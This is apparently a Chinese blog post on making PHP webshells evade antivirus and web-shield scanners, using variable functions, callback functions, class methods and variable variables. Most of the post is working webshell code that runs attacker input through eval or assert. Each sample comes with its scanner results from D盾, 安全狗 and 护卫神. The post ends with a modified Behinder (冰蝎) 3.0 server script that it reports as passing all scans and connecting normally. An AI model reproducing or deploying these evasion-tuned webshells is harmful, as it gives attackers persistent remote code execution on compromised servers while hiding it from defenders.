webshell免杀之函数与变量玩法

简介: webshell免杀之函数与变量玩法

前言


前文webshell免杀中符号的妙用列举了一些用符号免杀的例子,此篇文章就以函数和变量来尝试下免杀。本文以PHP为例,用PHP中函数和变量及语法特性,在不隐藏函数关键字情况下进行免杀。


动态函数


PHP中支持一个功能叫 variable function ,变量函数的意思。

例:$a='system'; $a('dir');  //最终是system('dir');

当一个变量后边带括号,那他就被视作一个函数。编译器会解析出变量的值(假设值为符串system),然后会去找当前是否存在名为“system()”的函数并执行它。

注:eval 、echo、print 等看似是函数但并非函数,而是语言构造器(语言结构),不支持该用法

动态函数利用时就可以达到隐藏危险函数关键字特征的目的,我可以对函数关键字进行拆分,编码,然后拼接还原,再利用动态函数特性执行。

例:$_GET[‘func’]($_REQUEST[‘pass’]); //这就是动态函数webshell

这里就不给实例了,很多免杀案例中都用到了这个特性。也是被疯狂查杀的特征。


回调函数


回调函数,简单来说就是一个函数不是由我直接调用,而是通过另一个函数去调用它。

这种方法很简单,php中回调函数有很多个,但大多已经被标记经过测试找到一个目前还能免杀的:

<?php

forward_static_call_array('assert',array($_GET['x']));   ?>

D盾:1级forward_static_call_array 如果尝试对回调函数 进行字符特征隐藏,再用动态函数执行,反而提升2级


魔术方法


PHP中以两个下划线开头的函数,被称为魔术方法 是保留方法。

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。

魔术方法中有两个函数:构造函数:创建对象时会自动调用此方法,初始化操作。析构函数:对象的引用被全部删除或销毁时执行。析构函数不能有参数


//__destruct() 析构函数 ;__construct() 构造函数
<?php 
class me{
  public $a = '';
  function __destruct(){
    eval("$this->a".' ');
    }
}
$a=$_GET['xxx'];
$b = new me;
$b->a = $a;
?>

D盾3级 可疑;安全狗 护卫神 免杀

上面用析构函数D盾会检测到,当尝试改特征时发现,不用析构函数就能够免杀。果然,高端的免杀往往只需要最朴素的方式

<?php 
class mexx{
  public $a = '';
  function mexx(){
    eval("$this->a".'; ');
    }
}
$a=$_GET['xxx'];
$b = new mexx;
$b->a = $a;
echo $b->mexx();
?>

全过。


可变变量


PHP还支持一种语法:可变变量,可以把一个变量的值作为另一个变量的变量名。例如:变量a的值是‘c’;变量c的值是‘ccc’,当使用两个 变量符号时 $$a 这就是一个可变变量,就不是$a 而是$c。为什么会是$c ?

在编程中,代码执行时整体是从上到下,从左到右,但是赋值语句,则是从右到左。

测试来看可变变量是从右往左的


$a='c';
$c='flag';
echo $a;  //结果 c
echo $$a;  //结果 flag
// $$a  解析从右往左找到第一个变量符号 把$a解析,得到$c

这里利用可变变量进行免杀



<?php 
$c=‘1’; //删掉此句 安全狗免杀;
$a='c';
$$a=$_POST[‘x’];  //$c
assert($c); //d盾特征
?>

变量c需要给一个值,不能空值,否侧d盾检测到变量未知内容,会报4级D盾1级,其他免杀

这里有个想法,可变变量能支持多少层哪,只能变一次还是能多次。



$a='c';
$c='flag';
$flag='123';
echo $$a;   //结果 flag
echo $$$a;  //结果 123
echo "$$a"; //结果 $c 
echo "{$$$a}"; //结果 123

最终发现可变变量是支持多层的,但在双引号中不支持可变变量,需要用花括号来包裹声明。


改造冰蝎


了解了前面的方法,那就尝试对冰蝎的脚本改造一下。

先来看冰蝎3.0的默认脚本,查杀一下

116092e5b5517cbdb9532ddf750a54bf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

经过用D盾尝试,发现file_get_contents,openssl 等关键字都会被检测为木马,最终在不动eval关键字情况下,修改如下

<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; 
  $_SESSION['k']=$key;
  session_write_close();
  $aaa='file_get_contents';
  $bbb='openssl';
  $post=$aaa("php://input");
  if(!extension_loaded($bbb))
  {
    $t="base64_"."decode";
    $post=$t($post."");
    for($i=0;$i<strlen($post);$i++) {
           $post[$i] = $post[$i]^$key[$i+1&15]; }
  }
  else
  { $post=openssl_decrypt($post, "AES128", $key); }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
class mexx{
    public $a = '';
    function mexx(){
      eval("$this->a".'');
      }
    }
$b = new mexx();
$b->a = $params;
echo $b->mexx();
?>

原本的类中是用了魔术方法将对象当函数执行,用回调函数去调用。这里改为常规的方式调用,将被查杀file_get_contents关键字用改成变量函数调用

本地查杀:安全狗护卫神免杀,D盾(1级|可疑)在线查杀效果

95a79797625a295c545aba06bb71a618_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

只有报了一个,我推断是检测到eval关键字才告警,遂换成echo函数试试是否免杀

结果还是被查杀,看来检测的特征不是在这里。

经过不断尝试,想到密钥 key的值是默认的e45e329feb5d925b,会不会是它。

把key改掉,如下


<?php@error_reporting(0);session_start();$key="47bce5c74f589f48";  //aaa    $_SESSION['k']=$key;    session_write_close();    $aaa='file_get_contents';    $bbb='openssl';    $post=$aaa("php://input");    if(!extension_loaded($bbb))    {        $t="base64_"."decode";        $post=$t($post."");        for($i=0;$i<strlen($post);$i++) {                 $post[$i] = $post[$i]^$key[$i+1&15]; }     }else{ $post=openssl_decrypt($post, "AES128", $key); }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1];class mexx{        public $a = '';        function mexx(){        eval("$this->a".''); } }$b = new mexx();$b->a = $params;echo $b->mexx();?>

查杀结果

3f8eaa0027b7de7271c453ce5aaea61b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

脚本正常连接

4e0e0314df4fe299ce508143887e3b03_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


总结


从上述案例能看出来,想要免杀很简单,不需要花里胡哨的操作,只需要改变下结构或函数,不需要变形编码关键字也能实现免杀。


相关文章
|
监控 持续交付 Docker
Docker容器化部署在微服务架构中的应用
Docker容器化部署在微服务架构中的应用
575 60
|
9月前
|
人工智能 监控 算法
Python下的毫秒级延迟RTSP|RTMP播放器技术探究和AI视觉算法对接
本文深入解析了基于Python实现的RTSP/RTMP播放器,探讨其代码结构、实现原理及优化策略。播放器通过大牛直播SDK提供的接口,支持低延迟播放,适用于实时监控、视频会议和智能分析等场景。文章详细介绍了播放控制、硬件解码、录像与截图功能,并分析了回调机制和UI设计。此外,还讨论了性能优化方法(如硬件加速、异步处理)和功能扩展(如音量调节、多格式支持)。针对AI视觉算法对接,文章提供了YUV/RGB数据处理示例,便于开发者在Python环境下进行算法集成。最终,播放器凭借低延迟、高兼容性和灵活扩展性,为实时交互场景提供了高效解决方案。
696 5
|
DataWorks 关系型数据库 MySQL
DataWorks产品使用合集之在DataWorks中,要实现MySQL数据源的增量同步如何解决
DataWorks作为一站式的数据开发与治理平台,提供了从数据采集、清洗、开发、调度、服务化、质量监控到安全管理的全套解决方案,帮助企业构建高效、规范、安全的大数据处理体系。以下是对DataWorks产品使用合集的概述,涵盖数据处理的各个环节。
399 2
|
12月前
|
人工智能 运维 安全
阿里云先知安全沙龙(上海站) ——终端安全对抗及防护
终端安全现状面临多重挑战,包括传统签名技术失效、新型无文件攻击频发、专业人才匮乏、分支机构安全管理不足等。企业终端覆盖不全、日志缺失、策略更新依赖厂商,导致运营排查困难。钓鱼攻击手法愈发精细,静态和动态对抗加剧,攻击者利用正常权限入侵,窃取凭据。Web3技术发展使加密货币成为新目标,职业黑客盯上个人钱包和交易公司。防护升级需涵盖预防、检测、响应和运营四个阶段,借助AI和威胁情报降低告警量,提升整体安全水平。
|
Prometheus 监控 Cloud Native
Spring Boot 性能护航!Prometheus、Grafana、ELK 组合拳,点燃数字化时代应用稳定之火
【8月更文挑战第29天】在现代软件开发中,保证应用性能与稳定至关重要。Spring Boot 作为流行的 Java 框架,结合 Prometheus、Grafana 和 ELK 可显著提升监控与分析能力。Prometheus 负责收集时间序列数据,Grafana 将数据可视化,而 ELK (Elasticsearch、Logstash、Kibana)则管理并分析应用日志。通过具体实例演示了如何在 Spring Boot 应用中集成这些工具:配置 Prometheus 获取度量信息、Grafana 显示结果及 ELK 分析日志,从而帮助开发者快速定位问题,确保应用稳定高效运行。
622 1
|
数据采集 Python
[Python] 数据预处理(缺失值、异常值、重复值) [相关方法参数说明、代码示例、相关概念](二)
[Python] 数据预处理(缺失值、异常值、重复值) [相关方法参数说明、代码示例、相关概念](二)
|
机器学习/深度学习 自然语言处理 算法
什么是自然语言处理的语义理解?
【4月更文挑战第8天】
578 2
什么是自然语言处理的语义理解?
|
数据采集 Java 关系型数据库
企业实战(20)ETL数据库迁移工具Kettle的安装配置详解
企业实战(20)ETL数据库迁移工具Kettle的安装配置详解
1199 0
|
Shell PHP C++
[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)
[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)
421 1